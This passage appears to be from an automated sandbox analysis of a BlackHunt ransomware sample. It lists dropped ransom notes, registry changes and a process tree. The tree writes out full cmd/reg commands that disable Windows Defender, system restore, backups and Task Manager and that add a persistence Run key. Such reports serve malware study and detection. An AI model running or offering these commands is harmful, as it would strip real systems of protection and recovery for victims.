Files\Java\jdk-1.8\jre\lib\cmm\LINEAR_RGB.pf fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\tzmappings fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jre-1.8\legal\jdk\pkcs11wrapper.md fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\da\LC_MESSAGES\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\kn\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jdk-1.8\bin\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\resources.jar fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jre-1.8\lib\fonts\LucidaSansDemiBold.ttf fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Google\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\GrantPublish.mht fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\hu\LC_MESSAGES\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\dotnet\shared\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jdk-1.8\legal\javafx\#BlackHunt_ReadMe.hta fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\webkit.md fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\VideoLAN\VLC\locale\fy\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\dotnet\swidtag\Microsoft Windows Desktop Runtime - 8.0.0 (x64).swidtag fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.txt fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File created C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_Private.key fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jdk-1.8\jre\lib\jce.jar fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe File opened for modification C:\Program Files\Java\jdk-1.8\legal\javafx\libxslt.md fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks SCSI registry key(s) 3 TTPs 4 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000 vds.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName vds.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000 vds.exe - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4112 schtasks.exe - Interacts with shadow copies 2 TTPs 6 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 2832 vssadmin.exe 2780 vssadmin.exe 3040 vssadmin.exe 4560 vssadmin.exe 2296 vssadmin.exe 740 vssadmin.exe - Kills process with taskkill 1 IoCs
pid Process 752 taskkill.exe - Modifies registry class 10 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe - Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeDebugPrivilege 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe Token: SeRestorePrivilege 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe Token: SeBackupPrivilege 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe Token: SeTakeOwnershipPrivilege 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe Token: SeAuditPrivilege 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe Token: SeSecurityPrivilege 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe Token: SeIncBasePriorityPrivilege 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe Token: SeBackupPrivilege 800 vssvc.exe Token: SeRestorePrivilege 800 vssvc.exe Token: SeAuditPrivilege 800 vssvc.exe Token: SeBackupPrivilege 3424 wbengine.exe Token: SeRestorePrivilege 3424 wbengine.exe Token: SeSecurityPrivilege 3424 wbengine.exe Token: SeSecurityPrivilege 5136 wevtutil.exe Token: SeBackupPrivilege 5136 wevtutil.exe Token: SeSecurityPrivilege 3616 wevtutil.exe Token: SeBackupPrivilege 3616 wevtutil.exe Token: SeSecurityPrivilege 5976 wevtutil.exe Token: SeBackupPrivilege 5976 wevtutil.exe Token: SeSecurityPrivilege 3512 wevtutil.exe Token: SeBackupPrivilege 3512 wevtutil.exe Token: SeSecurityPrivilege 5980 wevtutil.exe Token: SeBackupPrivilege 5980 wevtutil.exe Token: SeDebugPrivilege 752 taskkill.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4028 wrote to memory of 2912 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 92 PID 4028 wrote to memory of 2912 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 92 PID 4028 wrote to memory of 4428 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 96 PID 4028 wrote to memory of 4428 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 96 PID 4028 wrote to memory of 3572 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 95 PID 4028 wrote to memory of 3572 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 95 PID 4028 wrote to memory of 4284 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 98 PID 4028 wrote to memory of 4284 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 98 PID 2912 wrote to memory of 3396 2912 cmd.exe 100 PID 2912 wrote to memory of 3396 2912 cmd.exe 100 PID 4028 wrote to memory of 4644 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 101 PID 4028 wrote to memory of 4644 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 101 PID 3572 wrote to memory of 4248 3572 cmd.exe 103 PID 3572 wrote to memory of 4248 3572 cmd.exe 103 PID 4284 wrote to memory of 4828 4284 cmd.exe 104 PID 4284 wrote to memory of 4828 4284 cmd.exe 104 PID 4428 wrote to memory of 1116 4428 cmd.exe 105 PID 4428 wrote to memory of 1116 4428 cmd.exe 105 PID 4644 wrote to memory of 864 4644 cmd.exe 170 PID 4644 wrote to memory of 864 4644 cmd.exe 170 PID 4028 wrote to memory of 3564 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 107 PID 4028 wrote to memory of 3564 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 107 PID 4028 wrote to memory of 3248 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 109 PID 4028 wrote to memory of 3248 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 109 PID 4028 wrote to memory of 5020 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 111 PID 4028 wrote to memory of 5020 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 111 PID 4028 wrote to memory of 4568 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 115 PID 4028 wrote to memory of 4568 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 115 PID 3564 wrote to memory of 1740 3564 cmd.exe 113 PID 3564 wrote to memory of 1740 3564 cmd.exe 113 PID 4028 wrote to memory of 2500 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 116 PID 4028 wrote to memory of 2500 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 116 PID 3248 wrote to memory of 548 3248 cmd.exe 118 PID 3248 wrote to memory of 548 3248 cmd.exe 118 PID 4028 wrote to memory of 1624 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 119 PID 4028 wrote to memory of 1624 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 119 PID 4028 wrote to memory of 4520 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 126 PID 4028 wrote to memory of 4520 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 126 PID 4028 wrote to memory of 3152 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 121 PID 4028 wrote to memory of 3152 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 121 PID 4028 wrote to memory of 4852 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 125 PID 4028 wrote to memory of 4852 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 125 PID 4028 wrote to memory of 4088 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 124 PID 4028 wrote to memory of 4088 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 124 PID 4028 wrote to memory of 3160 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 128 PID 4028 wrote to memory of 3160 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 128 PID 4028 wrote to memory of 1572 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 129 PID 4028 wrote to memory of 1572 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 129 PID 5020 wrote to memory of 1340 5020 cmd.exe 133 PID 5020 wrote to memory of 1340 5020 cmd.exe 133 PID 4028 wrote to memory of 4628 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 130 PID 4028 wrote to memory of 4628 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 130 PID 4028 wrote to memory of 4948 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 136 PID 4028 wrote to memory of 4948 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 136 PID 4028 wrote to memory of 4648 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 137 PID 4028 wrote to memory of 4648 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 137 PID 4520 wrote to memory of 4988 4520 cmd.exe 141 PID 4520 wrote to memory of 4988 4520 cmd.exe 141 PID 3152 wrote to memory of 1968 3152 cmd.exe 140 PID 3152 wrote to memory of 1968 3152 cmd.exe 140 PID 4028 wrote to memory of 3652 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 142 PID 4028 wrote to memory of 3652 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 142 PID 4028 wrote to memory of 4392 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 146 PID 4028 wrote to memory of 4392 4028 fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe 146 - System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe"C:\Users\Admin\AppData\Local\Temp\fd71685a3d3d432d8944891d79d76637599809204289216ac651e23beac2fa37.exe"1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4028 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵
- Modifies registry class
PID:3396
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3572 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵
- Modifies registry class
PID:4248
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4428 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:1116
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4284 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:4828
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4644 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵PID:864
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3564 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:1740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3248 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵
- Modifies Windows Defender Real-time Protection settings
PID:548
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1340
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:4568
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:4724
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2500
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3544
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:1624
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:1600
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:3152 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:1968
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:4088
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:3280
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:4852
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:4408
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵
- Suspicious use of WriteProcessMemory
PID:4520 -
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:4988
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:3160
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:3640
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:1572
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:3208
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:4628
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:3576
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:4948
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:3040
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:4648
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵
- Adds Run key to start application
PID:864
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:3652
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:408
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:4392
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:1648
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2884
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:2740
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:1232
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:428
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:3244
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:1996
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:536
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:5084
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:1288
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:4264
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:3516
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵PID:1460
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1336
